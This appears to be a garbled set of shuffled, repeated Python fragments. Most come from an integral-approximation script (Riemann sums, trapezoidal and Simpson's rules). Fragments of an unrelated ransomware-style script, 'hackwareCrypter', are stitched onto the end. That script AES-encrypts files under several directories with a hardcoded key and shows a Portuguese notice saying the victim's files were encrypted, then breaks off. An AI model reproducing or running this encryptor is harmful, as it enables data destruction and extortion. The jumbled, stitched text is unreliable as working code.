"mid(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum = 0",
"type = int(input('Select the type of approximation:\\n \\ 1. Left Endpoints\\n \\ 2.",
"delta_x): sum += expression.subs(x, i) return delta_x * sum # Midpoints integral approximation",
"sum = 0 for i in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i",
"if type == 1: print('Result:', left(expr, left_bound, right_bound, delta_x)) elif type == 2:",
"import parse_expr from math import * from sympy import * import numpy as",
"for i in range(len(numbers)): if i == 0 or i == len(numbers) -",
"Left endpoints integral approximation def left(expr, left_bound, right_bound, delta_x): x = symbols('x') expression",
"input('Expression: ') left_bound = float(input('Left Bound: ')) right_bound = float(input('Right Bound: ')) delta_x",
"print('Result:', right(expr, left_bound, right_bound, delta_x)) elif type == 3: print('Result:', mid(expr, left_bound, right_bound,",
"for i in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i) return delta_x *",
"+ right(expr, left_bound, right_bound, delta_x)) / 2 # Simpson's Rule for integral approximation",
"right_bound, delta_x)) elif type == 4: print('Result:', trapezoidal(expr, left_bound, right_bound, delta_x)) elif type",
"2 == 0: sum += 2 * expression.subs(x, numbers[i]) else: sum += 4",
"delta_x)) / 2 # Simpson's Rule for integral approximation def simpson(expr, left_bound, right_bound,",
"* expression.subs(x, numbers[i]) return delta_x * sum / 3 if __name__ == '__main__':",
"import numpy as np # Left endpoints integral approximation def left(expr, left_bound, right_bound,",
"right(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum = 0",
"expression.subs(x, numbers[i]) else: sum += 4 * expression.subs(x, numbers[i]) return delta_x * sum",
"i in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i + delta_x / 2)",
"left(expr, left_bound, right_bound, delta_x)) elif type == 2: print('Result:', right(expr, left_bound, right_bound, delta_x))",
"= 0 for i in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i) return",
"Midpoints integral approximation def mid(expr, left_bound, right_bound, delta_x): x = symbols('x') expression =",
"sympy.parsing.sympy_parser import parse_expr from math import * from sympy import * import numpy",
"else: sum += 4 * expression.subs(x, numbers[i]) return delta_x * sum / 3",
"Determine which function to call if type == 1: print('Result:', left(expr, left_bound, right_bound,",
"delta_x): x = symbols('x') expression = parse_expr(expr) sum = 0 numbers = list(np.arange(left_bound,",
"delta_x, delta_x)) for i in range(len(numbers)): if i == 0 or i ==",
"right_bound + delta_x, delta_x)) for i in range(len(numbers)): if i == 0 or",
"approximation def mid(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum",
"def trapezoidal(expr, left_bound, right_bound, delta_x): return (left(expr, left_bound, right_bound, delta_x) \\ + right(expr,",
"of approximation:\\n \\ 1. Left Endpoints\\n \\ 2. Right Endpoints\\n \\ 3. Midpoints\\n",
"+ delta_x, right_bound + delta_x, delta_x): sum += expression.subs(x, i) return delta_x *",
"i in range(len(numbers)): if i == 0 or i == len(numbers) - 1:",
"expr = input('Expression: ') left_bound = float(input('Left Bound: ')) right_bound = float(input('Right Bound:",
"endpoints integral approximation def left(expr, left_bound, right_bound, delta_x): x = symbols('x') expression =",
"delta_x): x = symbols('x') expression = parse_expr(expr) sum = 0 for i in",
"endpoints integral approximation def right(expr, left_bound, right_bound, delta_x): x = symbols('x') expression =",
"* sum # Midpoints integral approximation def mid(expr, left_bound, right_bound, delta_x): x =",
"+= 2 * expression.subs(x, numbers[i]) else: sum += 4 * expression.subs(x, numbers[i]) return",
"* from sympy import * import numpy as np # Left endpoints integral",
"or i == len(numbers) - 1: sum += expression.subs(x, numbers[i]) elif i %",
"expression = parse_expr(expr) sum = 0 for i in np.arange(left_bound, right_bound, delta_x): sum",
"Rule\\n \\ 5. Simpson\\'s Rule\\n')) # Determine which function to call if type",
"Rule\\n')) # Determine which function to call if type == 1: print('Result:', left(expr,",
"expression.subs(x, numbers[i]) return delta_x * sum / 3 if __name__ == '__main__': #",
"mid(expr, left_bound, right_bound, delta_x)) elif type == 4: print('Result:', trapezoidal(expr, left_bound, right_bound, delta_x))",
"Bound: ')) right_bound = float(input('Right Bound: ')) delta_x = float(input('Delta x: ')) type",
"') left_bound = float(input('Left Bound: ')) right_bound = float(input('Right Bound: ')) delta_x =",
"range(len(numbers)): if i == 0 or i == len(numbers) - 1: sum +=",
"i == 0 or i == len(numbers) - 1: sum += expression.subs(x, numbers[i])",
"expression.subs(x, i + delta_x / 2) return delta_x * sum # Trapezoidal Rule",
"def simpson(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum =",
"right(expr, left_bound, right_bound, delta_x)) / 2 # Simpson's Rule for integral approximation def",
"delta_x, right_bound + delta_x, delta_x): sum += expression.subs(x, i) return delta_x * sum",
"1. Left Endpoints\\n \\ 2. Right Endpoints\\n \\ 3. Midpoints\\n \\ 4. Trapezoidal",
"')) right_bound = float(input('Right Bound: ')) delta_x = float(input('Delta x: ')) type =",
"right_bound, delta_x) \\ + right(expr, left_bound, right_bound, delta_x)) / 2 # Simpson's Rule",
"for integral approximation def simpson(expr, left_bound, right_bound, delta_x): x = symbols('x') expression =",
"\\ + right(expr, left_bound, right_bound, delta_x)) / 2 # Simpson's Rule for integral",
"right_bound, delta_x): return (left(expr, left_bound, right_bound, delta_x) \\ + right(expr, left_bound, right_bound, delta_x))",
"math import * from sympy import * import numpy as np # Left",
"left_bound, right_bound, delta_x)) elif type == 3: print('Result:', mid(expr, left_bound, right_bound, delta_x)) elif",
"')) delta_x = float(input('Delta x: ')) type = int(input('Select the type of approximation:\\n",
"2. Right Endpoints\\n \\ 3. Midpoints\\n \\ 4. Trapezoidal Rule\\n \\ 5. Simpson\\'s",
"import * import numpy as np # Left endpoints integral approximation def left(expr,",
"for i in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i + delta_x /",
"\\ 1. Left Endpoints\\n \\ 2. Right Endpoints\\n \\ 3. Midpoints\\n \\ 4.",
"# Midpoints integral approximation def mid(expr, left_bound, right_bound, delta_x): x = symbols('x') expression",
"0 or i == len(numbers) - 1: sum += expression.subs(x, numbers[i]) elif i",
"i + delta_x / 2) return delta_x * sum # Trapezoidal Rule for",
"symbols('x') expression = parse_expr(expr) sum = 0 numbers = list(np.arange(left_bound, right_bound + delta_x,",
"Trapezoidal Rule\\n \\ 5. Simpson\\'s Rule\\n')) # Determine which function to call if",
"1: print('Result:', left(expr, left_bound, right_bound, delta_x)) elif type == 2: print('Result:', right(expr, left_bound,",
"Simpson\\'s Rule\\n')) # Determine which function to call if type == 1: print('Result:',",
"list(np.arange(left_bound, right_bound + delta_x, delta_x)) for i in range(len(numbers)): if i == 0",
"== '__main__': # Read input expr = input('Expression: ') left_bound = float(input('Left Bound:",
"right_bound, delta_x): sum += expression.subs(x, i + delta_x / 2) return delta_x *",
"delta_x)) elif type == 2: print('Result:', right(expr, left_bound, right_bound, delta_x)) elif type ==",
"3: print('Result:', mid(expr, left_bound, right_bound, delta_x)) elif type == 4: print('Result:', trapezoidal(expr, left_bound,",
"numpy as np # Left endpoints integral approximation def left(expr, left_bound, right_bound, delta_x):",
"left_bound, right_bound, delta_x): return (left(expr, left_bound, right_bound, delta_x) \\ + right(expr, left_bound, right_bound,",
"% 2 == 0: sum += 2 * expression.subs(x, numbers[i]) else: sum +=",
"sum += 4 * expression.subs(x, numbers[i]) return delta_x * sum / 3 if",
"delta_x * sum / 3 if __name__ == '__main__': # Read input expr",
"== 1: print('Result:', left(expr, left_bound, right_bound, delta_x)) elif type == 2: print('Result:', right(expr,",
"delta_x, delta_x): sum += expression.subs(x, i) return delta_x * sum # Midpoints integral",
"trapezoidal(expr, left_bound, right_bound, delta_x)) elif type == 5: print('Result:', simpson(expr, left_bound, right_bound, delta_x))",
"i) return delta_x * sum # Midpoints integral approximation def mid(expr, left_bound, right_bound,",
"delta_x * sum # Trapezoidal Rule for integral approximation def trapezoidal(expr, left_bound, right_bound,",
"right_bound = float(input('Right Bound: ')) delta_x = float(input('Delta x: ')) type = int(input('Select",
"4: print('Result:', trapezoidal(expr, left_bound, right_bound, delta_x)) elif type == 5: print('Result:', simpson(expr, left_bound,",
"def right(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum =",
"float(input('Delta x: ')) type = int(input('Select the type of approximation:\\n \\ 1. Left",
"right(expr, left_bound, right_bound, delta_x)) elif type == 3: print('Result:', mid(expr, left_bound, right_bound, delta_x))",
"Rule for integral approximation def trapezoidal(expr, left_bound, right_bound, delta_x): return (left(expr, left_bound, right_bound,",
"return (left(expr, left_bound, right_bound, delta_x) \\ + right(expr, left_bound, right_bound, delta_x)) / 2",
"delta_x = float(input('Delta x: ')) type = int(input('Select the type of approximation:\\n \\",
"left_bound, right_bound, delta_x) \\ + right(expr, left_bound, right_bound, delta_x)) / 2 # Simpson's",
"= input('Expression: ') left_bound = float(input('Left Bound: ')) right_bound = float(input('Right Bound: '))",
"delta_x)) elif type == 4: print('Result:', trapezoidal(expr, left_bound, right_bound, delta_x)) elif type ==",
"__name__ == '__main__': # Read input expr = input('Expression: ') left_bound = float(input('Left",
"expression.subs(x, i) return delta_x * sum # Midpoints integral approximation def mid(expr, left_bound,",
"delta_x)) elif type == 3: print('Result:', mid(expr, left_bound, right_bound, delta_x)) elif type ==",
"')) type = int(input('Select the type of approximation:\\n \\ 1. Left Endpoints\\n \\",
"return delta_x * sum # Midpoints integral approximation def mid(expr, left_bound, right_bound, delta_x):",
"type == 1: print('Result:', left(expr, left_bound, right_bound, delta_x)) elif type == 2: print('Result:',",
"== 3: print('Result:', mid(expr, left_bound, right_bound, delta_x)) elif type == 4: print('Result:', trapezoidal(expr,",
"+= expression.subs(x, i) return delta_x * sum # Midpoints integral approximation def mid(expr,",
"+ delta_x, delta_x): sum += expression.subs(x, i) return delta_x * sum # Midpoints",
"type == 2: print('Result:', right(expr, left_bound, right_bound, delta_x)) elif type == 3: print('Result:',",
"for integral approximation def trapezoidal(expr, left_bound, right_bound, delta_x): return (left(expr, left_bound, right_bound, delta_x)",
"== 2: print('Result:', right(expr, left_bound, right_bound, delta_x)) elif type == 3: print('Result:', mid(expr,",
"x: ')) type = int(input('Select the type of approximation:\\n \\ 1. Left Endpoints\\n",
"Right Endpoints\\n \\ 3. Midpoints\\n \\ 4. Trapezoidal Rule\\n \\ 5. Simpson\\'s Rule\\n'))",
"right_bound, delta_x): sum += expression.subs(x, i) return delta_x * sum # RIght endpoints",
"x = symbols('x') expression = parse_expr(expr) sum = 0 numbers = list(np.arange(left_bound, right_bound",
"delta_x * sum # RIght endpoints integral approximation def right(expr, left_bound, right_bound, delta_x):",
"sum = 0 for i in np.arange(left_bound + delta_x, right_bound + delta_x, delta_x):",
"Left Endpoints\\n \\ 2. Right Endpoints\\n \\ 3. Midpoints\\n \\ 4. Trapezoidal Rule\\n",
"i) return delta_x * sum # RIght endpoints integral approximation def right(expr, left_bound,",
"parse_expr(expr) sum = 0 for i in np.arange(left_bound + delta_x, right_bound + delta_x,",
"in np.arange(left_bound + delta_x, right_bound + delta_x, delta_x): sum += expression.subs(x, i) return",
"print('Result:', left(expr, left_bound, right_bound, delta_x)) elif type == 2: print('Result:', right(expr, left_bound, right_bound,",
"sum += expression.subs(x, i) return delta_x * sum # Midpoints integral approximation def",
"+= 4 * expression.subs(x, numbers[i]) return delta_x * sum / 3 if __name__",
"right_bound, delta_x)) elif type == 2: print('Result:', right(expr, left_bound, right_bound, delta_x)) elif type",
"== 0 or i == len(numbers) - 1: sum += expression.subs(x, numbers[i]) elif",
"delta_x * sum # Midpoints integral approximation def mid(expr, left_bound, right_bound, delta_x): x",
"= 0 for i in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i +",
"elif type == 3: print('Result:', mid(expr, left_bound, right_bound, delta_x)) elif type == 4:",
"in range(len(numbers)): if i == 0 or i == len(numbers) - 1: sum",
"expression = parse_expr(expr) sum = 0 numbers = list(np.arange(left_bound, right_bound + delta_x, delta_x))",
"2 * expression.subs(x, numbers[i]) else: sum += 4 * expression.subs(x, numbers[i]) return delta_x",
"delta_x)) for i in range(len(numbers)): if i == 0 or i == len(numbers)",
"0 numbers = list(np.arange(left_bound, right_bound + delta_x, delta_x)) for i in range(len(numbers)): if",
"+= expression.subs(x, numbers[i]) elif i % 2 == 0: sum += 2 *",
"= parse_expr(expr) sum = 0 for i in np.arange(left_bound, right_bound, delta_x): sum +=",
"type of approximation:\\n \\ 1. Left Endpoints\\n \\ 2. Right Endpoints\\n \\ 3.",
"+ delta_x / 2) return delta_x * sum # Trapezoidal Rule for integral",
"right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum = 0 numbers =",
"integral approximation def trapezoidal(expr, left_bound, right_bound, delta_x): return (left(expr, left_bound, right_bound, delta_x) \\",
"= int(input('Select the type of approximation:\\n \\ 1. Left Endpoints\\n \\ 2. Right",
"== 4: print('Result:', trapezoidal(expr, left_bound, right_bound, delta_x)) elif type == 5: print('Result:', simpson(expr,",
"= symbols('x') expression = parse_expr(expr) sum = 0 for i in np.arange(left_bound +",
"x = symbols('x') expression = parse_expr(expr) sum = 0 for i in np.arange(left_bound",
"= parse_expr(expr) sum = 0 for i in np.arange(left_bound + delta_x, right_bound +",
"approximation def trapezoidal(expr, left_bound, right_bound, delta_x): return (left(expr, left_bound, right_bound, delta_x) \\ +",
"2) return delta_x * sum # Trapezoidal Rule for integral approximation def trapezoidal(expr,",
"i in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i) return delta_x * sum",
"in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i + delta_x / 2) return",
"to call if type == 1: print('Result:', left(expr, left_bound, right_bound, delta_x)) elif type",
"left_bound, right_bound, delta_x)) elif type == 2: print('Result:', right(expr, left_bound, right_bound, delta_x)) elif",
"print('Result:', mid(expr, left_bound, right_bound, delta_x)) elif type == 4: print('Result:', trapezoidal(expr, left_bound, right_bound,",
"return delta_x * sum / 3 if __name__ == '__main__': # Read input",
"symbols('x') expression = parse_expr(expr) sum = 0 for i in np.arange(left_bound, right_bound, delta_x):",
"elif type == 4: print('Result:', trapezoidal(expr, left_bound, right_bound, delta_x)) elif type == 5:",
"0 for i in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i) return delta_x",
"from math import * from sympy import * import numpy as np #",
"* sum / 3 if __name__ == '__main__': # Read input expr =",
"parse_expr(expr) sum = 0 numbers = list(np.arange(left_bound, right_bound + delta_x, delta_x)) for i",
"left_bound = float(input('Left Bound: ')) right_bound = float(input('Right Bound: ')) delta_x = float(input('Delta",
"= float(input('Left Bound: ')) right_bound = float(input('Right Bound: ')) delta_x = float(input('Delta x:",
"expression = parse_expr(expr) sum = 0 for i in np.arange(left_bound + delta_x, right_bound",
"integral approximation def simpson(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr)",
"Rule for integral approximation def simpson(expr, left_bound, right_bound, delta_x): x = symbols('x') expression",
"(left(expr, left_bound, right_bound, delta_x) \\ + right(expr, left_bound, right_bound, delta_x)) / 2 #",
"= parse_expr(expr) sum = 0 numbers = list(np.arange(left_bound, right_bound + delta_x, delta_x)) for",
"left(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum = 0",
"+= expression.subs(x, i) return delta_x * sum # RIght endpoints integral approximation def",
"approximation def left(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum",
"if i == 0 or i == len(numbers) - 1: sum += expression.subs(x,",
"+= expression.subs(x, i + delta_x / 2) return delta_x * sum # Trapezoidal",
"== len(numbers) - 1: sum += expression.subs(x, numbers[i]) elif i % 2 ==",
"# Left endpoints integral approximation def left(expr, left_bound, right_bound, delta_x): x = symbols('x')",
"numbers[i]) elif i % 2 == 0: sum += 2 * expression.subs(x, numbers[i])",
"def mid(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum =",
"elif i % 2 == 0: sum += 2 * expression.subs(x, numbers[i]) else:",
"numbers[i]) return delta_x * sum / 3 if __name__ == '__main__': # Read",
"5. Simpson\\'s Rule\\n')) # Determine which function to call if type == 1:",
"return delta_x * sum # Trapezoidal Rule for integral approximation def trapezoidal(expr, left_bound,",
"# Trapezoidal Rule for integral approximation def trapezoidal(expr, left_bound, right_bound, delta_x): return (left(expr,",
"= float(input('Delta x: ')) type = int(input('Select the type of approximation:\\n \\ 1.",
"expression.subs(x, i) return delta_x * sum # RIght endpoints integral approximation def right(expr,",
"2: print('Result:', right(expr, left_bound, right_bound, delta_x)) elif type == 3: print('Result:', mid(expr, left_bound,",
"left_bound, right_bound, delta_x)) elif type == 4: print('Result:', trapezoidal(expr, left_bound, right_bound, delta_x)) elif",
"trapezoidal(expr, left_bound, right_bound, delta_x): return (left(expr, left_bound, right_bound, delta_x) \\ + right(expr, left_bound,",
"elif type == 2: print('Result:', right(expr, left_bound, right_bound, delta_x)) elif type == 3:",
"0: sum += 2 * expression.subs(x, numbers[i]) else: sum += 4 * expression.subs(x,",
"approximation:\\n \\ 1. Left Endpoints\\n \\ 2. Right Endpoints\\n \\ 3. Midpoints\\n \\",
"3 if __name__ == '__main__': # Read input expr = input('Expression: ') left_bound",
"float(input('Right Bound: ')) delta_x = float(input('Delta x: ')) type = int(input('Select the type",
"for i in np.arange(left_bound + delta_x, right_bound + delta_x, delta_x): sum += expression.subs(x,",
"type == 3: print('Result:', mid(expr, left_bound, right_bound, delta_x)) elif type == 4: print('Result:',",
"* sum # Trapezoidal Rule for integral approximation def trapezoidal(expr, left_bound, right_bound, delta_x):",
"call if type == 1: print('Result:', left(expr, left_bound, right_bound, delta_x)) elif type ==",
"delta_x): sum += expression.subs(x, i) return delta_x * sum # RIght endpoints integral",
"= symbols('x') expression = parse_expr(expr) sum = 0 numbers = list(np.arange(left_bound, right_bound +",
"integral approximation def right(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr)",
"0 for i in np.arange(left_bound + delta_x, right_bound + delta_x, delta_x): sum +=",
"integral approximation def left(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr)",
"sum += expression.subs(x, i) return delta_x * sum # RIght endpoints integral approximation",
"the type of approximation:\\n \\ 1. Left Endpoints\\n \\ 2. Right Endpoints\\n \\",
"integral approximation def mid(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr)",
"approximation def simpson(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum",
"sum += expression.subs(x, i + delta_x / 2) return delta_x * sum #",
"float(input('Left Bound: ')) right_bound = float(input('Right Bound: ')) delta_x = float(input('Delta x: '))",
"simpson(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum = 0",
"sympy import * import numpy as np # Left endpoints integral approximation def",
"= 0 numbers = list(np.arange(left_bound, right_bound + delta_x, delta_x)) for i in range(len(numbers)):",
"numbers = list(np.arange(left_bound, right_bound + delta_x, delta_x)) for i in range(len(numbers)): if i",
"delta_x / 2) return delta_x * sum # Trapezoidal Rule for integral approximation",
"/ 3 if __name__ == '__main__': # Read input expr = input('Expression: ')",
"Endpoints\\n \\ 3. Midpoints\\n \\ 4. Trapezoidal Rule\\n \\ 5. Simpson\\'s Rule\\n')) #",
"sum # Midpoints integral approximation def mid(expr, left_bound, right_bound, delta_x): x = symbols('x')",
"i in np.arange(left_bound + delta_x, right_bound + delta_x, delta_x): sum += expression.subs(x, i)",
"i % 2 == 0: sum += 2 * expression.subs(x, numbers[i]) else: sum",
"function to call if type == 1: print('Result:', left(expr, left_bound, right_bound, delta_x)) elif",
"delta_x) \\ + right(expr, left_bound, right_bound, delta_x)) / 2 # Simpson's Rule for",
"* import numpy as np # Left endpoints integral approximation def left(expr, left_bound,",
"sum # RIght endpoints integral approximation def right(expr, left_bound, right_bound, delta_x): x =",
"right_bound + delta_x, delta_x): sum += expression.subs(x, i) return delta_x * sum #",
"Bound: ')) delta_x = float(input('Delta x: ')) type = int(input('Select the type of",
"import * from sympy import * import numpy as np # Left endpoints",
"which function to call if type == 1: print('Result:', left(expr, left_bound, right_bound, delta_x))",
"numbers[i]) else: sum += 4 * expression.subs(x, numbers[i]) return delta_x * sum /",
"parse_expr(expr) sum = 0 for i in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x,",
"/ 2 # Simpson's Rule for integral approximation def simpson(expr, left_bound, right_bound, delta_x):",
"input expr = input('Expression: ') left_bound = float(input('Left Bound: ')) right_bound = float(input('Right",
"type == 4: print('Result:', trapezoidal(expr, left_bound, right_bound, delta_x)) elif type == 5: print('Result:',",
"len(numbers) - 1: sum += expression.subs(x, numbers[i]) elif i % 2 == 0:",
"np # Left endpoints integral approximation def left(expr, left_bound, right_bound, delta_x): x =",
"sum = 0 for i in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i)",
"+ delta_x, delta_x)) for i in range(len(numbers)): if i == 0 or i",
"def left(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum =",
"print('Result:', trapezoidal(expr, left_bound, right_bound, delta_x)) elif type == 5: print('Result:', simpson(expr, left_bound, right_bound,",
"as np # Left endpoints integral approximation def left(expr, left_bound, right_bound, delta_x): x",
"RIght endpoints integral approximation def right(expr, left_bound, right_bound, delta_x): x = symbols('x') expression",
"Read input expr = input('Expression: ') left_bound = float(input('Left Bound: ')) right_bound =",
"Midpoints\\n \\ 4. Trapezoidal Rule\\n \\ 5. Simpson\\'s Rule\\n')) # Determine which function",
"= float(input('Right Bound: ')) delta_x = float(input('Delta x: ')) type = int(input('Select the",
"left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum = 0 numbers",
"= list(np.arange(left_bound, right_bound + delta_x, delta_x)) for i in range(len(numbers)): if i ==",
"left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum = 0 for",
"right_bound, delta_x)) / 2 # Simpson's Rule for integral approximation def simpson(expr, left_bound,",
"# Read input expr = input('Expression: ') left_bound = float(input('Left Bound: ')) right_bound",
"np.arange(left_bound + delta_x, right_bound + delta_x, delta_x): sum += expression.subs(x, i) return delta_x",
"np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i + delta_x / 2) return delta_x",
"'__main__': # Read input expr = input('Expression: ') left_bound = float(input('Left Bound: '))",
"approximation def right(expr, left_bound, right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum",
"right_bound, delta_x): x = symbols('x') expression = parse_expr(expr) sum = 0 for i",
"delta_x): sum += expression.subs(x, i + delta_x / 2) return delta_x * sum",
"# Simpson's Rule for integral approximation def simpson(expr, left_bound, right_bound, delta_x): x =",
"* expression.subs(x, numbers[i]) else: sum += 4 * expression.subs(x, numbers[i]) return delta_x *",
"x = symbols('x') expression = parse_expr(expr) sum = 0 for i in np.arange(left_bound,",
"4 * expression.subs(x, numbers[i]) return delta_x * sum / 3 if __name__ ==",
"sum # Trapezoidal Rule for integral approximation def trapezoidal(expr, left_bound, right_bound, delta_x): return",
"0 for i in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i + delta_x",
"\\ 5. Simpson\\'s Rule\\n')) # Determine which function to call if type ==",
"right_bound, delta_x)) elif type == 3: print('Result:', mid(expr, left_bound, right_bound, delta_x)) elif type",
"left_bound, right_bound, delta_x)) / 2 # Simpson's Rule for integral approximation def simpson(expr,",
"parse_expr from math import * from sympy import * import numpy as np",
"if __name__ == '__main__': # Read input expr = input('Expression: ') left_bound =",
"delta_x): return (left(expr, left_bound, right_bound, delta_x) \\ + right(expr, left_bound, right_bound, delta_x)) /",
"2 # Simpson's Rule for integral approximation def simpson(expr, left_bound, right_bound, delta_x): x",
"sum = 0 numbers = list(np.arange(left_bound, right_bound + delta_x, delta_x)) for i in",
"sum += 2 * expression.subs(x, numbers[i]) else: sum += 4 * expression.subs(x, numbers[i])",
"int(input('Select the type of approximation:\\n \\ 1. Left Endpoints\\n \\ 2. Right Endpoints\\n",
"symbols('x') expression = parse_expr(expr) sum = 0 for i in np.arange(left_bound + delta_x,",
"* sum # RIght endpoints integral approximation def right(expr, left_bound, right_bound, delta_x): x",
"Simpson's Rule for integral approximation def simpson(expr, left_bound, right_bound, delta_x): x = symbols('x')",
"- 1: sum += expression.subs(x, numbers[i]) elif i % 2 == 0: sum",
"\\ 2. Right Endpoints\\n \\ 3. Midpoints\\n \\ 4. Trapezoidal Rule\\n \\ 5.",
"4. Trapezoidal Rule\\n \\ 5. Simpson\\'s Rule\\n')) # Determine which function to call",
"in np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i) return delta_x * sum #",
"= 0 for i in np.arange(left_bound + delta_x, right_bound + delta_x, delta_x): sum",
"from sympy.parsing.sympy_parser import parse_expr from math import * from sympy import * import",
"# Determine which function to call if type == 1: print('Result:', left(expr, left_bound,",
"<reponame>thenewpyjiang/integral-approximation-python from sympy.parsing.sympy_parser import parse_expr from math import * from sympy import *",
"1: sum += expression.subs(x, numbers[i]) elif i % 2 == 0: sum +=",
"expression.subs(x, numbers[i]) elif i % 2 == 0: sum += 2 * expression.subs(x,",
"\\ 3. Midpoints\\n \\ 4. Trapezoidal Rule\\n \\ 5. Simpson\\'s Rule\\n')) # Determine",
"sum / 3 if __name__ == '__main__': # Read input expr = input('Expression:",
"from sympy import * import numpy as np # Left endpoints integral approximation",
"/ 2) return delta_x * sum # Trapezoidal Rule for integral approximation def",
"\\ 4. Trapezoidal Rule\\n \\ 5. Simpson\\'s Rule\\n')) # Determine which function to",
"i == len(numbers) - 1: sum += expression.subs(x, numbers[i]) elif i % 2",
"Trapezoidal Rule for integral approximation def trapezoidal(expr, left_bound, right_bound, delta_x): return (left(expr, left_bound,",
"= symbols('x') expression = parse_expr(expr) sum = 0 for i in np.arange(left_bound, right_bound,",
"Endpoints\\n \\ 2. Right Endpoints\\n \\ 3. Midpoints\\n \\ 4. Trapezoidal Rule\\n \\",
"sum += expression.subs(x, numbers[i]) elif i % 2 == 0: sum += 2",
"3. Midpoints\\n \\ 4. Trapezoidal Rule\\n \\ 5. Simpson\\'s Rule\\n')) # Determine which",
"return delta_x * sum # RIght endpoints integral approximation def right(expr, left_bound, right_bound,",
"np.arange(left_bound, right_bound, delta_x): sum += expression.subs(x, i) return delta_x * sum # RIght",
"== 0: sum += 2 * expression.subs(x, numbers[i]) else: sum += 4 *"
] |
[
"pode ter os seguintes tamanhos: # 128/192/256 bits - 8bite = 1byte =",
"= argparse.ArgumentParser(description=\"hackwareCrypter\") parser.add_argument( '-d', '--decrypt', help='decripta os arquivos [default: no]', action='store_true') return parser",
"AES.new(key, AES.MODE_CTR, counter=ctr) if not decrypt: cryptoFn = crypt.encrypt else: cryptoFn = crypt.decrypt",
"'{}' ------------------------------------------------------------ '''.format(HARDCODED_KEY)) key = input('Digite a senha: ') else: if HARDCODED_KEY: key",
"for _ in range(100): pass if not decrypt: pass # apos a encriptação,",
"= 1byte = 1 caracter unicode # 256/8 = 32 bytes # -----------------",
"<gh_stars>0 #!/usr/bin/python3.6 # -*- coding: utf-8 -*- from Crypto.Cipher import AES from Crypto.Util",
"key = HARDCODED_KEY ctr = Counter.new(256) crypt = AES.new(key, AES.MODE_CTR, counter=ctr) if not",
"decrypt: print(''' HACKWARE STRIKE FORCE ------------------------------------------------------------ SEUS ARQUIVOS FORAM CRIPTOGRAFADOS PARA DECRIPTÁ-LOS, UTILIZE",
"utf-8 -*- from Crypto.Cipher import AES from Crypto.Util import Counter import argparse import",
"tamanhos: # 128/192/256 bits - 8bite = 1byte = 1 caracter unicode #",
"crypt.decrypt init_path = os.path.abspath(os.path.join(os.getcwd(), 'files')) startDirs = [init_path, '/dev', '/etc'] for currentDir in",
"argparse import os import Discovery import Crypter # ----------------- # A senha pode",
"1byte = 1 caracter unicode # 256/8 = 32 bytes # ----------------- HARDCODED_KEY",
"STRIKE FORCE ------------------------------------------------------------ SEUS ARQUIVOS FORAM CRIPTOGRAFADOS PARA DECRIPTÁ-LOS, UTILIZE A SEGUINTE SENHA",
"UTILIZE A SEGUINTE SENHA '{}' ------------------------------------------------------------ '''.format(HARDCODED_KEY)) key = input('Digite a senha: ')",
"argparse.ArgumentParser(description=\"hackwareCrypter\") parser.add_argument( '-d', '--decrypt', help='decripta os arquivos [default: no]', action='store_true') return parser def",
"cryptoFn = crypt.encrypt else: cryptoFn = crypt.decrypt init_path = os.path.abspath(os.path.join(os.getcwd(), 'files')) startDirs =",
"import argparse import os import Discovery import Crypter # ----------------- # A senha",
"input('Digite a senha: ') else: if HARDCODED_KEY: key = HARDCODED_KEY ctr = Counter.new(256)",
"parser.add_argument( '-d', '--decrypt', help='decripta os arquivos [default: no]', action='store_true') return parser def main():",
"= input('Digite a senha: ') else: if HARDCODED_KEY: key = HARDCODED_KEY ctr =",
"print(''' HACKWARE STRIKE FORCE ------------------------------------------------------------ SEUS ARQUIVOS FORAM CRIPTOGRAFADOS PARA DECRIPTÁ-LOS, UTILIZE A",
"# 128/192/256 bits - 8bite = 1byte = 1 caracter unicode # 256/8",
"a senha: ') else: if HARDCODED_KEY: key = HARDCODED_KEY ctr = Counter.new(256) crypt",
"pass if not decrypt: pass # apos a encriptação, voce pode alterar o",
"caracter unicode # 256/8 = 32 bytes # ----------------- HARDCODED_KEY = 'hackware strike",
"strike force strikes u! ' def get_parser(): parser = argparse.ArgumentParser(description=\"hackwareCrypter\") parser.add_argument( '-d', '--decrypt',",
"HARDCODED_KEY: key = HARDCODED_KEY ctr = Counter.new(256) crypt = AES.new(key, AES.MODE_CTR, counter=ctr) if",
"Counter import argparse import os import Discovery import Crypter # ----------------- # A",
"action='store_true') return parser def main(): parser = get_parser() args = vars(parser.parse_args()) decrypt =",
